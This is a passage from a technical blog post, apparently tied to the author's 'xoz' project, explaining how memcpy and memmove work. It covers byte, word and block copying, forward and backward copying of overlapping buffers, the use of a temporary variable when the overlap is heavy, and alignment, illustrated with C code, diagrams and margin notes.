&lt;p&gt;When doing the &lt;em&gt;“copy”&lt;/em&gt; between overlapping buffers, you will end up being overriding part of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; content.&lt;/p&gt;
&lt;p&gt;&lt;label for='CldlbGwsIHF1YW50dW0gaW5mb3JtYXRpb24gY2Fubm90IGJlIGNvcGllZCB3aXRob3V0IGRlc3Ryb3lpbmcgdGhlCm9yaWdpbmFsIG9uZS4gSXQgaXMgY2FsbGVkICp0ZWxlcG9ydGF0aW9uKi4KCkkgZ3Vlc3MgdGhlIHBoeXNpY3MgYXJlIG1vcmUgc2NpLWZpIGluY2xpbmVkIGZvciBwaWNraW5nIHRlcm1zLgpJdCBpcyBvYnZpb3VzIHRvIG1lIHRoYXQgdGhlIFVuaXZlcnNlIGlzIGp1c3QgY2FsbGluZyBgbWVtbW92ZWAuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldlbGwsIHF1YW50dW0gaW5mb3JtYXRpb24gY2Fubm90IGJlIGNvcGllZCB3aXRob3V0IGRlc3Ryb3lpbmcgdGhlCm9yaWdpbmFsIG9uZS4gSXQgaXMgY2FsbGVkICp0ZWxlcG9ydGF0aW9uKi4KCkkgZ3Vlc3MgdGhlIHBoeXNpY3MgYXJlIG1vcmUgc2NpLWZpIGluY2xpbmVkIGZvciBwaWNraW5nIHRlcm1zLgpJdCBpcyBvYnZpb3VzIHRvIG1lIHRoYXQgdGhlIFVuaXZlcnNlIGlzIGp1c3QgY2FsbGluZyBgbWVtbW92ZWAuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Well, quantum information cannot be copied without destroying the original one. It is called &lt;em&gt;teleportation&lt;/em&gt;.
&lt;br /&gt;&lt;br /&gt;
I guess the physics are more sci-fi inclined for picking terms. It is obvious to me that the Universe is just calling &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Imagine wanting to &lt;em&gt;copy&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and got &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; corrupted, the copies does not work like that! It makes sense to name the function &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; because it feels that the content is moved from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (so you don’t care what was left in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and leave &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for when it is a truly copy.&lt;/p&gt;
&lt;p&gt;For the rest of the post I will refer to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for simplicity in the wording, even if we are going to see how to handle overlapping buffers like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; does.&lt;/p&gt;
&lt;h2 id="copy-one-byte-at-time---bytecopy"&gt;Copy one byte at time - bytecopy&lt;/h2&gt;
&lt;p&gt;Let’s start with the most obvious algorithm: &lt;em&gt;copy one byte at time&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0id2lkdGg6IGF1dG87IiBjbGFzcz0nZnVsbHdpZHRoJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL3hvei9tZW1jcHlfaW8vMDFfbm9fb3ZlcmxhcF8xX2J5dGVfY29weV9hbHRlcm5hdGl2ZV9zaG90LnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0id2lkdGg6IGF1dG87IiBjbGFzcz0nZnVsbHdpZHRoJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL3hvei9tZW1jcHlfaW8vMDFfbm9fb3ZlcmxhcF8xX2J5dGVfY29weV9hbHRlcm5hdGl2ZV9zaG90LnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="width: auto;" class='fullwidth' align='middle' data='/img/xoz/memcpy_io/01_no_overlap_1_byte_copy_alternative_shot.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;naivecopy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When we copy between two &lt;em&gt;non-overlaping&lt;/em&gt; areas, eveything goes smooth but when they do overlap, this doesn’t work.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: auto;" class='' align='middle' data='/img/xoz/memcpy_io/02_overlap_1_byte_copy_incorrect_alt.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The problem is that when we do the write we are overriding data we didn’t copyied yet.&lt;/p&gt;
&lt;p&gt;So we just need start copying from the overlapping bytes before they are overriden.&lt;/p&gt;
&lt;p&gt;There are 2 cases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;when the overlap is at the begin of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we copy &lt;em&gt;forwards&lt;/em&gt; as in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;naivecopy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;when the overlap is at the end of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we copy &lt;em&gt;backwards&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: auto;" class='' align='middle' data='/img/xoz/memcpy_io/02_overlap_1_byte_copy_fwd_bwd_correct.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Let’s call these &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bytecopy_fwd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bytecopy_bwd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; respectively and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bytecopy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; the main algorithm that call one or the other depending of the overlap.&lt;/p&gt;
&lt;h2 id="copy-multiple-bytes-at-time---wordcopy-and-blockcopy"&gt;Copy multiple bytes at time - wordcopy and blockcopy&lt;/h2&gt;
&lt;p&gt;&lt;label for='ClRoZSB0ZXJtICoid29yZCIqIGlzIG1pc2xlYWRpbmc6IGEgNjQgYml0cyBhcmNoaXRlY3R1cmUgbWF5IHN1cHBvcnQgb3BlcmFuZHMKbGFyZ2VyIHRoYW4gaXRzIHdvcmQgc2l6ZSwgbGlrZSBgdWludDEyOF90YC4gU28gZG9uJ3QgdGFrZSB0aGlzIHRlcm0KdG8gc3RyaWN0bHkuCgpBVlggaW5zdHJ1Y3Rpb25zIGNhbiB0aGVzZSBkYXlzIHdvcmsgd2l0aCA1MTIgYml0cyBidXQgaXRzIHVzZWZ1bG5lc3MKZm9yIGNvcHlpbmcgc2VlbXMgbm90IGJlIGNsZWFyIGFjY29yZGluZwpbdGhpcyBwb3N0XShodHRwczovL3N0YWNrb3ZlcmZsb3cuY29tL3F1ZXN0aW9ucy82NjkyMzA0NS93aHktZ2xpYmMtbWVtY3B5LW5vdC1jaG9vc2UtYXZ4NTEyLXZlcnNpb24pLgpXaGlsZSBpdCBjYW4gY29weSBkYXRhIGZhc3RlciwgaXQgbWF5IGRlZ3JhZGUgdGhlIHBlcmZvcm1hbmNlIG9mIHRoZSBzeXN0ZW0gZHVlCmhvdyB0aGV5IGFyZSBpbXBsZW1lbnRlZAooW290aGVyIHBvc3RdKGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzU2ODUyODEyL3NpbWQtaW5zdHJ1Y3Rpb25zLWxvd2VyaW5nLWNwdS1mcmVxdWVuY3kpKS4KCkF0IHRoZSBlbmQgb2YgdGhlIGRheSBpcyBhIHBlci1hcmNoaXRlY3R1cmUgYW5hbHlzaXM6IGp1c3QgcGljawp0aGUgbGFyZ2VzdCBhbmQgZmFzdGVzdCB3b3JkIHNpemUuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSB0ZXJtICoid29yZCIqIGlzIG1pc2xlYWRpbmc6IGEgNjQgYml0cyBhcmNoaXRlY3R1cmUgbWF5IHN1cHBvcnQgb3BlcmFuZHMKbGFyZ2VyIHRoYW4gaXRzIHdvcmQgc2l6ZSwgbGlrZSBgdWludDEyOF90YC4gU28gZG9uJ3QgdGFrZSB0aGlzIHRlcm0KdG8gc3RyaWN0bHkuCgpBVlggaW5zdHJ1Y3Rpb25zIGNhbiB0aGVzZSBkYXlzIHdvcmsgd2l0aCA1MTIgYml0cyBidXQgaXRzIHVzZWZ1bG5lc3MKZm9yIGNvcHlpbmcgc2VlbXMgbm90IGJlIGNsZWFyIGFjY29yZGluZwpbdGhpcyBwb3N0XShodHRwczovL3N0YWNrb3ZlcmZsb3cuY29tL3F1ZXN0aW9ucy82NjkyMzA0NS93aHktZ2xpYmMtbWVtY3B5LW5vdC1jaG9vc2UtYXZ4NTEyLXZlcnNpb24pLgpXaGlsZSBpdCBjYW4gY29weSBkYXRhIGZhc3RlciwgaXQgbWF5IGRlZ3JhZGUgdGhlIHBlcmZvcm1hbmNlIG9mIHRoZSBzeXN0ZW0gZHVlCmhvdyB0aGV5IGFyZSBpbXBsZW1lbnRlZAooW290aGVyIHBvc3RdKGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzU2ODUyODEyL3NpbWQtaW5zdHJ1Y3Rpb25zLWxvd2VyaW5nLWNwdS1mcmVxdWVuY3kpKS4KCkF0IHRoZSBlbmQgb2YgdGhlIGRheSBpcyBhIHBlci1hcmNoaXRlY3R1cmUgYW5hbHlzaXM6IGp1c3QgcGljawp0aGUgbGFyZ2VzdCBhbmQgZmFzdGVzdCB3b3JkIHNpemUuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The term &lt;em&gt;“word”&lt;/em&gt; is misleading: a 64 bits architecture may support operands larger than its word size, like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;uint128_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. So don’t take this term to strictly.
&lt;br /&gt;&lt;br /&gt;
AVX instructions can these days work with 512 bits but its usefulness for copying seems not be clear according &lt;a href="https://stackoverflow.com/questions/66923045/why-glibc-memcpy-not-choose-avx512-version"&gt;this post&lt;/a&gt;. While it can copy data faster, it may degrade the performance of the system due how they are implemented (&lt;a href="https://stackoverflow.com/questions/56852812/simd-instructions-lowering-cpu-frequency"&gt;other post&lt;/a&gt;).
&lt;br /&gt;&lt;br /&gt;
At the end of the day is a per-architecture analysis: just pick the largest and fastest word size.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Instead of copying byte by byte we can do it &lt;em&gt;word by word&lt;/em&gt;. Modern computers can operate with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, or even &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;uint128_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in a single instruction so a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; implementation using them can go 4, 8 or even 16 times faster.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRvIGJlIHByZWNpc2UsIHRoZSBnbGliYyB1c2VzIGB2bV9jb3B5YCB0aGF0IG1hcHMgdGhlIHBhZ2VzIG9mIGBkc3RgIHRvCnRoZSBwYWdlcyBvZiBgc3JjYCBvbiAqY29weS1vbi13cml0ZSouIFNvIGB2bV9jb3B5YCBkZWZlcnMgdGhlIGNvcHkKdW50aWwgYSBwYWdlIGZhdWx0LjxiciAvPgpXaGVuIGNvcHlpbmcgbGFyZ2UgYnVmZmVycyB3aXRoIGluZnJlcXVlbnQgd3JpdGVzLCB0aGlzIGxhenkgY29weQphdm9pZHMgdGhlIGNvc3RzIG9mIGEgcmVhbCBjb3B5LgoKUmVmZXJlbmNlOiBbZGV2ZWxvcGVyIGFwcGxlIGRvY3NdKGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDI0MDkwMTE3MzIyNS9odHRwczovL2RldmVsb3Blci5hcHBsZS5jb20vbGlicmFyeS9hcmNoaXZlL2RvY3VtZW50YXRpb24vUGVyZm9ybWFuY2UvQ29uY2VwdHVhbC9NYW5hZ2luZ01lbW9yeS9BcnRpY2xlcy9NZW1vcnlBbGxvYy5odG1sKQptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRvIGJlIHByZWNpc2UsIHRoZSBnbGliYyB1c2VzIGB2bV9jb3B5YCB0aGF0IG1hcHMgdGhlIHBhZ2VzIG9mIGBkc3RgIHRvCnRoZSBwYWdlcyBvZiBgc3JjYCBvbiAqY29weS1vbi13cml0ZSouIFNvIGB2bV9jb3B5YCBkZWZlcnMgdGhlIGNvcHkKdW50aWwgYSBwYWdlIGZhdWx0LjxiciAvPgpXaGVuIGNvcHlpbmcgbGFyZ2UgYnVmZmVycyB3aXRoIGluZnJlcXVlbnQgd3JpdGVzLCB0aGlzIGxhenkgY29weQphdm9pZHMgdGhlIGNvc3RzIG9mIGEgcmVhbCBjb3B5LgoKUmVmZXJlbmNlOiBbZGV2ZWxvcGVyIGFwcGxlIGRvY3NdKGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDI0MDkwMTE3MzIyNS9odHRwczovL2RldmVsb3Blci5hcHBsZS5jb20vbGlicmFyeS9hcmNoaXZlL2RvY3VtZW50YXRpb24vUGVyZm9ybWFuY2UvQ29uY2VwdHVhbC9NYW5hZ2luZ01lbW9yeS9BcnRpY2xlcy9NZW1vcnlBbGxvYy5odG1sKQptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
To be precise, the glibc uses &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;vm_copy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that maps the pages of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to the pages of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; on &lt;em&gt;copy-on-write&lt;/em&gt;. So &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;vm_copy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; defers the copy until a page fault.&lt;br /&gt; When copying large buffers with infrequent writes, this lazy copy avoids the costs of a real copy.
&lt;br /&gt;&lt;br /&gt;
Reference: &lt;a href="https://web.archive.org/web/20240901173225/https://developer.apple.com/library/archive/documentation/Performance/Conceptual/ManagingMemory/Articles/MemoryAlloc.html"&gt;developer apple docs&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;And if supported by the architecture, we could use even larger chunks or &lt;em&gt;blocks&lt;/em&gt;. &lt;a href="https://github.com/bminor/glibc/blob/751a5502bea1d13551c62c47bb9bd25bff870cda/sysdeps/mach/pagecopy.h#L26-L32"&gt;glibc&lt;/a&gt; for example has &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;PAGE_COPY_FWD_MAYBE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that copyies entire pages: few kilobytes in a single operation!&lt;/p&gt;
&lt;p&gt;We may call these algorithm &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;wordcopy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;blockcopy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; respectively.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: auto;" class='' align='middle' data='/img/xoz/memcpy_io/03_no_overlap_n_byte_copy_correct.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='CklmIHdlIGFyZSB0YWxraW5nIG9mIGB1aW50NjRfdGAgb3Igc2ltaWxhciB3b3JkIHNpemVzLCBhbGwgdGhlCmltcGxlbWVudGF0aW9ucyB0aGF0IEkgc2F3IGRvbid0IHRyeSBzbWFsbGVyIHdvcmQgc2l6ZXMgYW5kIGZhbGxiYWNrCmltbWVkaWF0ZWx5IHRvIGBieXRlY29weWAuCgpIb3dldmVyLCBzb21lIGltcGxlbWVudGF0aW9ucywKbGlrZSBbZ2xpYmMncyBtZW1jcHldKGh0dHBzOi8vZ2l0aHViLmNvbS9sYXR0ZXJhL2dsaWJjL2Jsb2IvODk1ZWY3OWUwNGE5NTNjYWMxNDkzODYzYmNhZTI5YWQ4NTY1N2VlMS9zdHJpbmcvbWVtY3B5LmMjTDI2LUw1OCksCmNvcHkgYnkgcGFnZSBzaXplcyAoYSBmZXcga2lsb2J5dGVzKSwgdGhlbiBjb3B5IGJ5IHdvcmQgYW5kIGZpbmFsbHkKY29weSB0aGUgbGFzdCBieXRlcyBieSBvbmUgYnl0ZSBhdCB0aW1lLjxiciAvPgpBbmQgaXQgbWFrZXMgc2Vuc2UsIGZyb20gY29weSBhIGZldyBraWxvYnl0ZXMgcGVyIG9wZXJhdGlvbiB0byBjb3B5Cm9uZSBieXRlIGF0IHRpbWUsIHRoZXJlIGlzIHJvb20gdG8gZG8gYSBtdWNoIGVmZmljaWVudCBjb3B5IGluIGJldHdlZW4uCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CklmIHdlIGFyZSB0YWxraW5nIG9mIGB1aW50NjRfdGAgb3Igc2ltaWxhciB3b3JkIHNpemVzLCBhbGwgdGhlCmltcGxlbWVudGF0aW9ucyB0aGF0IEkgc2F3IGRvbid0IHRyeSBzbWFsbGVyIHdvcmQgc2l6ZXMgYW5kIGZhbGxiYWNrCmltbWVkaWF0ZWx5IHRvIGBieXRlY29weWAuCgpIb3dldmVyLCBzb21lIGltcGxlbWVudGF0aW9ucywKbGlrZSBbZ2xpYmMncyBtZW1jcHldKGh0dHBzOi8vZ2l0aHViLmNvbS9sYXR0ZXJhL2dsaWJjL2Jsb2IvODk1ZWY3OWUwNGE5NTNjYWMxNDkzODYzYmNhZTI5YWQ4NTY1N2VlMS9zdHJpbmcvbWVtY3B5LmMjTDI2LUw1OCksCmNvcHkgYnkgcGFnZSBzaXplcyAoYSBmZXcga2lsb2J5dGVzKSwgdGhlbiBjb3B5IGJ5IHdvcmQgYW5kIGZpbmFsbHkKY29weSB0aGUgbGFzdCBieXRlcyBieSBvbmUgYnl0ZSBhdCB0aW1lLjxiciAvPgpBbmQgaXQgbWFrZXMgc2Vuc2UsIGZyb20gY29weSBhIGZldyBraWxvYnl0ZXMgcGVyIG9wZXJhdGlvbiB0byBjb3B5Cm9uZSBieXRlIGF0IHRpbWUsIHRoZXJlIGlzIHJvb20gdG8gZG8gYSBtdWNoIGVmZmljaWVudCBjb3B5IGluIGJldHdlZW4uCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
If we are talking of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or similar word sizes, all the implementations that I saw don’t try smaller word sizes and fallback immediately to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bytecopy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;br /&gt;&lt;br /&gt;
However, some implementations, like &lt;a href="https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/string/memcpy.c#L26-L58"&gt;glibc’s memcpy&lt;/a&gt;, copy by page sizes (a few kilobytes), then copy by word and finally copy the last bytes by one byte at time.&lt;br /&gt; And it makes sense, from copy a few kilobytes per operation to copy one byte at time, there is room to do a much efficient copy in between.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;When dealing with input sizes not multiple of the word/block size, we need to copy by smaller sizes towards the end and copying byte by byte in the last steps.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: auto;" class='' align='middle' data='/img/xoz/memcpy_io/03_no_overlap_n_byte_copy_no_multiple_size_correct.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="overlapping-areas"&gt;Overlapping areas&lt;/h3&gt;
&lt;p&gt;To deal with overlapping areas we have the same fordward/backward algorithms than before but copying word by word so let’s call them &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;wordcopy_fwd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;wordcopy_bwd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; respectively.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;But…&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='CkluIG1vc3QgYXJjaGl0ZWN0dXJlcyByZWFkaW5nL3dyaXRpbmcgd29yZHMgYXJlIG9ubHkgcG9zc2libGUgZnJvbS90bwphZGRyZXNzZXMgYWxpZ25lZCB0byB0aGUgd29yZCBzaXplLgpTbyB0aGUgcGF0aG9sb2dpY2FsIGV4YW1wbGUgc2hvdWxkIG5ldmVyIGhhcHBlbi4KCkhvd2V2ZXIsIGFzIG1lbnRpb25lZCBiZWZvcmUsIHJlbGF4IHRoZSB0ZXJtICoid29yZCIqLiBJbiBgeG96YCBmb3IKZXhhbXBsZSwgdGhlIGNvcHkgYmV0d2VlbiBwYXJ0cyBvZiBhIGZpbGVzIGRvZXMgbm90IHJlcXVpcmUgYW55CmFsaWdubWVudCBzbyBJIGZhY2VkIHRoaXMgKip2ZXJ5Kiogb3ZlcmxhcHBlZCBjYXNlLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkluIG1vc3QgYXJjaGl0ZWN0dXJlcyByZWFkaW5nL3dyaXRpbmcgd29yZHMgYXJlIG9ubHkgcG9zc2libGUgZnJvbS90bwphZGRyZXNzZXMgYWxpZ25lZCB0byB0aGUgd29yZCBzaXplLgpTbyB0aGUgcGF0aG9sb2dpY2FsIGV4YW1wbGUgc2hvdWxkIG5ldmVyIGhhcHBlbi4KCkhvd2V2ZXIsIGFzIG1lbnRpb25lZCBiZWZvcmUsIHJlbGF4IHRoZSB0ZXJtICoid29yZCIqLiBJbiBgeG96YCBmb3IKZXhhbXBsZSwgdGhlIGNvcHkgYmV0d2VlbiBwYXJ0cyBvZiBhIGZpbGVzIGRvZXMgbm90IHJlcXVpcmUgYW55CmFsaWdubWVudCBzbyBJIGZhY2VkIHRoaXMgKip2ZXJ5Kiogb3ZlcmxhcHBlZCBjYXNlLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
In most architectures reading/writing words are only possible from/to addresses aligned to the word size. So the pathological example should never happen.
&lt;br /&gt;&lt;br /&gt;
However, as mentioned before, relax the term &lt;em&gt;“word”&lt;/em&gt;. In &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xoz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for example, the copy between parts of a files does not require any alignment so I faced this &lt;strong&gt;very&lt;/strong&gt; overlapped case.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;When the source and destination areas are &lt;strong&gt;very&lt;/strong&gt; overlapped, it may be possible that the read of a word overlap with its write (left diagram), The solution is to copy into a local variable in between (right diagram).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: auto;" class='' align='middle' data='/img/xoz/memcpy_io/04_overlap_n_byte_copy_incorrect_and_with_temp_buffer.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="alignment"&gt;Alignment&lt;/h2&gt;
&lt;p&gt;In general, copying words/blocks requires that both the source and the destination are aligned to the word/block size.&lt;/p&gt;
